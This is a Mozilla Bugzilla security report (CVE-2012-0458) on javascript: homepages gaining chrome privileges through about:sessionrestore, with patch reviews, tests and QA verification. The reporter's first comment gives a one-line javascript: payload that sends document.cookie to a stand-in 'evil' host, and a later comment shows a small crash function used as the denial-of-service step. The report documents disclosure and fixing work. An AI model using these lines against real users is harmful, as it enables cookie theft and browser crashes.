Closed Bug 719994 (CVE-2012-0458) Opened 12 years ago Closed 12 years ago

loads of principal-inheriting URIs (e.g. javascript:) on chrome-privileged pages (e.g. about:sessionstore) allows unexpected privilege escalation

Categories

(Core :: DOM: Navigation, defect)

defect
Not set
major

Tracking

()

VERIFIED FIXED
mozilla13
Tracking Status
firefox9 --- wontfix
firefox10 - wontfix
firefox11 + verified
firefox12 + verified
firefox13 + verified
firefox-esr10 11+ verified
blocking1.9.2 --- .28+
status1.9.2 --- .28-fixed

People

(Reporter: marius.mlynski, Assigned: Gavin)

References

Details

(Keywords: verified1.9.2, Whiteboard: [sg:critical][qa!] fixed in bug 723808)

Attachments

(3 files, 3 obsolete files)

It is possible to trap user on a chrome privileged page with buttons leading to arbitrary code if a browser session is launched with a maliciously crafted homepage URI.

There are 2 things which combined may effectively prevent users from realizing they deal with a malicious link when they set their homepage by dropping an image on the home button:

1. Using DataTransfer, text/x-moz-url of the drag can be manipulated on the fly.
2. Firefox displays a misleading prompt after dropping a link on the home button -- it says that "this document" is being set as the homepage, which is incorrect.

Thus, the user has no way of knowing what URI will be set as homepage without inspecting the source. Unless they realize that both the status bar of the dragged image and the prompt message from the browser are misleading and go check the newly set home page in Options->General (instead of simply pressing the home button to see if it goes where expected), it can be leveraged by a malicious party in 2 ways:

1. Stealing cookies.

The obvious and not very interesting scenario -- javascript:Image().src='http://evil/'+encodeURI(document.cookie);location.href='http://theactualwebsite' will silently steal cookies of every website the user navigates away from by pressing the home button.

2. Code execution.

Here's a video demonstrating the concept: http://www.youtube.com/watch?v=xDmyWk58Xo4 (select fullscreen and 1080p for the optimal quality)

- The malicious website detects the draginit event of the icon and verifies that the desired URI landed on the homepage by probing an iframed javascript:window.home(), then it sets the cookie to schedule a crash in the next browsing session.
- When a new session is started, the website starts crashing the browser.
- After 2 crashes, the user is presented with about:sessionrestore and 2 options. If they decide to restore the session, Firefox will crash again and the user will return to about:sessionrestore. Trying to remove the home page tab from the list will disable the restore button. If they click the other button -- "start a new session" -- the javascript link will inherit chrome privileges from about:sessionrestore and an arbitrary code will be executed. Pressing the home button will execute the payload as well.

Seeing that this method of setting home page is fairly popular (several well known websites provide their drag icons) and it is a seemingly innocuous action, you may want to disallow setting URI_INHERITS_SECURITY_CONTEXT as a homepage -- unless you see a demand for using bookmarklets as homepages, it would be the easiest way to make this feature safe. Displaying the actual URI in the confirmation prompt would make it less prone to abuse, too.
Crashed in Nightly (Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:12.0a1) Gecko/20120125 Firefox/12.0a1). Crash report at https://crash-stats.mozilla.com/report/index/bp-3c6bb9d6-8c62-48e8-baea-0670d2120126.
Status: UNCONFIRMED → NEW
Ever confirmed: true
This would be prevented by my suggested fix in bug 718203 (don't allow javascript: home pages or dropping on the home button), basically issue 1 here is a dupe of that bug. But something much worse is going on in issue 2, session restore shouldn't be running this with chrome privilege regardless.
Component: Security → Session Restore
Depends on: 718203
QA Contact: firefox → session.restore
Whiteboard: [sg:critical]
Assignee: nobody → paul
Ok, so this isn't so hot.

Obviously the launching is bad, but it isn't local to about:sessionrestore, though this trap makes it easy to get into that state. This works from any page that has chrome privs (eg, about:config, about:memory, about:addons).

It works from bookmarklets too.

What Gavin has so far in bug 718203 is a good step and I think the further step that he & I talked about is to completely disallow inheriting the principal from privileged pages. Together that should prevent this attack entirely (though crashing the browser with that JS isn't cool but that's a different story).

(In reply to Mariusz Mlynski from comment #0)
> Displaying the actual
> URI in the confirmation prompt would make it less prone to abuse, too.

Agreed, though we can do that in another bug.
Displaying the URL being used is bug 341108 (would be easy to fix).

Bug 718203 will neuter dropping of javascript: links on the home button.

For this bug, I think we should consider making it impossible for loads in type=content docshells to inherit the system principal. We have more and more privileged in-content pages, and it's not really feasible to explicitly protect all loads into them with DISALLOW_INHERIT_OWNER. Would love some feedback on whether this approach is feasible from a compatibility point of view...
Attached patch patch (obsolete) — Splinter Review
I tried to limit it to the cases where we're actually re-using a current document. bz, what do you think about this?
Attachment #591690 - Flags: feedback?(bzbarsky)
(In reply to Gavin Sharp (use gavin@gavinsharp.com for email) from comment #4)
> Bug 718203 will neuter dropping of javascript: links on the home button.

Does it cover data URIs as well? Similarly to javascript links, they are privileged under "start a new session" and have access to DOM of websites the home button is pressed on.
Comment on attachment 591690 [details] [diff] [review]
patch

We're not reusing the current document, we're inheriting its principal.  ;)

I wonder whether we could just make aConsiderCurrentDocument false in the d&d case.  Maybe a followup?

The patch looks fine, but please use nsContentUtils::IsSystemPrincipal and nix all the XPCOM goop.  ;)
Attachment #591690 - Flags: feedback?(bzbarsky) → feedback+
(In reply to Boris Zbarsky (:bz) from comment #7)
> I wonder whether we could just make aConsiderCurrentDocument false in the
> d&d case.  Maybe a followup?

Hmm, what do you mean by "the d&d case"? These loads are being triggered by clicking the home button (i.e. a normal UI-triggered loadURI call), once your home page is set to a javascript: URI. The idea behind this approach was to neuter system-principal-inheriting in content docshells in general, precisely so we can avoid having to hunt down all of the dangerous ways to possibly trigger such a load.
Summary: Setting homepage via drag and drop allows code execution from about:sessionrestore (or cookie theft) → loads of principal-inheriting URIs (e.g. javascript:) on chrome-privileged pages (e.g. about:sessionstore) allows privilege escalation
Attached patch patch v2 (obsolete) — Splinter Review
Simplified the patch somewhat. I will write tests for this.
Assignee: paul → gavin.sharp
Attachment #591690 - Attachment is obsolete: true
Status: NEW → ASSIGNED
Assignee: gavin.sharp → nobody
Component: Session Restore → Document Navigation
Product: Firefox → Core
QA Contact: session.restore → docshell
Summary: loads of principal-inheriting URIs (e.g. javascript:) on chrome-privileged pages (e.g. about:sessionstore) allows privilege escalation → loads of principal-inheriting URIs (e.g. javascript:) on chrome-privileged pages (e.g. about:sessionstore) allows unexpected privilege escalation
Assignee: nobody → gavin.sharp
Won't this break bookmarklets run against privileged pages? All the geeky uses I personally had for that can now be accomplished through the webdev tools (albeit via clumsy copy/paste rather than convenient keywords) so I'm happy to close off this escalation path, but we should be aware of the fall-out.
> These loads are being triggered by clicking the home button 

Ah, I missed that.  I do think we should consider changing that too, again as a followup.  Otherwise a home button javascript: url could be used to affect random webpages, which is still not great.

As far as comment 10 goes, yes it would break such bookmarklets.....
Hold on.  Hold on.  That second patch is pretty darned different from the first one...  I'm a lot less convinced that it's safe (in particular it could break extensions, I suspect).
(In reply to Boris Zbarsky (:bz) from comment #12)
> Hold on.  Hold on.  That second patch is pretty darned different from the
> first one...  I'm a lot less convinced that it's safe (in particular it
> could break extensions, I suspect).

I don't understand the distinction. My simplifying assumption from patch #1 to patch #2 was that EnsureContentViewer() will never result in a document whose principal is the system principal. Is that an invalid assumption?
Or is the issue that we don't want to block the inheriting when the principal was inherited from the same-type parent? I don't know when that occurs in practice.
I _think_ so, yes.  If you just open a new tab via the UI, I believe right now you get a system-principal about:blank in it.  Arguably a bug....

But more to the point the last patch will, I think, change the behavior of this in chrome:

  <iframe type="content" src="javascript:something()">

and make "something" run as non-system.  I think.  Worth double-checking.
Inheriting from a same-type parent would be if about:addons or something had an <iframe> with no url inside and then injected some DOM into it (still without loading a URL).  Should that DOM run with the system principal?  With the attached patch, it won't.
(In reply to Boris Zbarsky (:bz) from comment #15)
> I _think_ so, yes.  If you just open a new tab via the UI, I believe right
> now you get a system-principal about:blank in it.  Arguably a bug....

AFAICT this isn't the case. New-tab about:blanks seem to have non-system principals whose origin is "moz-safe-about:blank".

>   <iframe type="content" src="javascript:something()">
> 
> and make "something" run as non-system.  I think.  Worth double-checking.

Without my patch applied, I just tested putting:
<iframe type="content" src="javascript:alert(Components.stack)"/>

into a chrome document. The result was a security exception:
Error: Permission denied for <moz-safe-about:blank> to get property XPCComponents.stack
Source File: javascript:alert(Components.stack)

If I remove the 'type="content"', it alerts the stack.
What about <iframe type="content"> followed by a window.location set to a javascript: URI?

In any case, the about:addons example from comment 16 worries me more.
This goes back to the initial approach, and adds tests for the relevant cases.
Attachment #591933 - Attachment is obsolete: true
Attachment #593254 - Flags: review?(bzbarsky)
(In reply to Daniel Veditz from comment #10)
> Won't this break bookmarklets run against privileged pages?

Yep, it will. I think we can live with breaking that. There are other ways to hack your browser, as you mention :)
Comment on attachment 593254 [details] [diff] [review]
patch v3, with tests

Yeah, much safer.  r=me
Attachment #593254 - Flags: review?(bzbarsky) → review+
Attached patch test_focus test fix (obsolete) — Splinter Review
This test depends on a load of a data: URI in a chrome-privileged content docshell. I'm not sure why it does that, rather than just calling back() the page being loaded (which doesn't require privileges) - maybe there was a reason?
Attachment #593690 - Flags: review?
Attachment #593690 - Flags: review? → review?(enndeakin)
This test also relies on loading data: URIs in chrome-privileged iframes. I don't think this test intentionally chose to run using chrome:// URIs, so just switching it to load files via http:// avoids that problem. I verified that it still fails if I make hasExpectedURL always return true.
Attachment #593692 - Flags: review?(paul)
That change changes the test substantially.  It makes the back() call happen sync during load, not async after onload.

That said, just doing the back() off a timeout from onload should reasonably preserve the old behavior, I think.
Attachment #593690 - Attachment is obsolete: true
Attachment #593690 - Flags: review?(enndeakin)
Attachment #593697 - Flags: review?(enndeakin)
Comment on attachment 593697 [details] [diff] [review]
test_focus test fix, v2

This should be ok I think, assuming that window.back gets called after painting when focus is set on the new document (in nsPresShell::UnsuppressAndInvalidate) Maybe bz can comment if this isn't the case.
Attachment #593697 - Flags: review?(enndeakin) → review+
Jesse suggested I fix this in a public bug (easier to track regressions and such), so I attached a rollup patch to bug 723808, which I'll use a reference when landing this.
Comment on attachment 593692 [details] [diff] [review]
sessionstore test fix

I wasn't around for that bug, but the "(cross domain)" used in the helper makes me wonder if it may have been intentional to not use "mochi.test" for rootDir. But the bug never mentioned cross domain, just not same url. And if it still fails when it's supposed to then I guess we're ok.
Attachment #593692 - Flags: review?(paul) → review+
FIXED in bug 723808
Status: ASSIGNED → RESOLVED
Closed: 12 years ago
Resolution: --- → FIXED
Target Milestone: --- → mozilla13
I haven't tested it yet, but is there anything that prevents this attack from working on Firefox 3.6? The underlying change in bug 723808 would certainly improve 3.6 even if this PoC turns out not to work.
blocking1.9.2: --- → ?
Whiteboard: [sg:critical] → [sg:critical] fixed in bug 723808
(In reply to Daniel Veditz from comment #30)
> I haven't tested it yet, but is there anything that prevents this attack
> from working on Firefox 3.6?

A different DoS vector would have to be picked for 3.6.26, but other than that, it works the same.
blocking1.9.2: ? → .28+
Whiteboard: [sg:critical] fixed in bug 723808 → [sg:critical][qa+] fixed in bug 723808
[Triage comment]

This bug is being tracked for landing on ESR branch.  Please land patches on http://hg.mozilla.org/releases/mozilla-esr10/by Thursday March 1, 2012 in order to be ready for go-to-build on Friday March 2, 2012.

See https://wiki.mozilla.org/Release_Management/ESR_Landing_Process for more information.
Unable to reproduce the crash in Firefox 10.0.3esr -- marking verified.
Verified fixed with Firefox 3.6.28 build 1.
Keywords: verified1.9.2
Reopening this bug. Fails with these reproduction steps:

1. Start Firefox 10.0.2 with a new profile.
2. Start the index.html in the PoC attached
3. Make that index.html your homepage following what is shown in the video
4. Make that index.html an app tab (pin it)
5. Close firefox 10.0.2
6. Open a newer version of Firefox (11, 12, 13)

Expected:

The browser should not crash with a new version of firefox.

Actual:

The browser crashes.
Status: RESOLVED → REOPENED
Resolution: FIXED → ---
Note: We need to re-test this fix on Firefox 3.6.28 build 1 and Firefox ESR 10 to see if this issue happens there as well.
Reverting flags until we can get more information if this is really not fixed.
Status: REOPENED → RESOLVED
Closed: 12 years ago12 years ago
Resolution: --- → FIXED
Can someone else on this bug who was able to reproduce the initial crash please verify what Jason is testing? Is this the same exploit condition?

Jason, are you simply opening the same profile in 10.0.2 (unfixed) as you are in Firefox 11, 12, and 13 (fixed)?
This test case passes if the same version of Firefox is used throughout on Firefox 11, 12, and 13. In other words:

1. Start Firefox 11, 12, or 13 with a new profile.
2. Start the index.html in the PoC attached
3. Make that index.html your homepage following what is shown in the video
4. Make that index.html an app tab (pin it)
5. Close firefox 11, 12, or 13
6. Open firefox 11, 12, or 13

Going to go see if this upgrade issue reproduces on 3.6.28 and ESR. Also, going to see if this issue happens on another machine.
Confirmed that this upgrade bug in comment 38 happens on a different machine.
Confirmed that this upgrade issue also occurs on ESR.
On comment 41 - Yes. I take advantage of the security vulnerability in Firefox 10.0.2 (unfixed) on a profile. Then, I start a newer version of Firefox (11, 12, or 13) with that same profile. A crash will then happen.
The upgrade issue does not occur on FF 3.6.28. Might be a regression?
Gavin Sharp, is the issue seen comment 38 a concern that result in reopening the bug? The upgrade issue can occur in Firefox 10 ESR, 11, 12, and 13.
Sorry for the confusion guys. This exploit doesn't actually have anything to do with the crashing - that's just a mechanism used to get the about:sessionstore page to appear.

The exploit is actually about what happens once you're in that situation - about:sessionstore displayed - and your home page is set to a javascript: URI. Clicking the "Start New Session" button in that scenario should not result in the loading of your javascript: home page URI with full privileges (after this fix, the javascript: URI won't run at all).
Jason, can you retest the scenario as Gavin describes?
Verified on affected builds that the arbitrary code is not executed for FF 10 ESR, FF 11, 12, 13.

Should we log a separate issue for the crash that we've discovered?
Status: RESOLVED → VERIFIED
Whiteboard: [sg:critical][qa+] fixed in bug 723808 → [sg:critical][qa!] fixed in bug 723808
(In reply to Jason Smith from comment #50)
> Verified on affected builds that the arbitrary code is not executed for FF
> 10 ESR, FF 11, 12, 13.

Thanks Jason.

> Should we log a separate issue for the crash that we've discovered?

If I understand this correctly, I think the PoC is supposed to crash Firefox so that about:sessionrestore is displayed, thereby exposing the exploit condition. 

Gavin, can you confirm if the crash is expected (ie. not a bug)?
Well, all crashes are bugs :) I assumed this one was just one of the many known DoS-crashes, perhaps picked up from Bugzilla. I haven't looked into it further - perhaps Mariusz can enlighten us!
Status: VERIFIED → RESOLVED
Closed: 12 years ago12 years ago
(stupid bugzilla)
Looks like the crash in question may be bug 636487:
function crash(){
	a=Error();
	a.toString=0;
	throw a;
}
Alias: CVE-2012-0458
Yeah, that looks right to me.  It'd be easy to test, just substitute |return false;| for |bytes = "unknown (can't convert to string)";| in the code noted in bug 636487 comment 3.
Group: core-security
 rforbes-bugspam-for-setting-that-bounty-flag-20130719
Flags: sec-bounty+
You need to log in before you can comment on or make changes to this bug.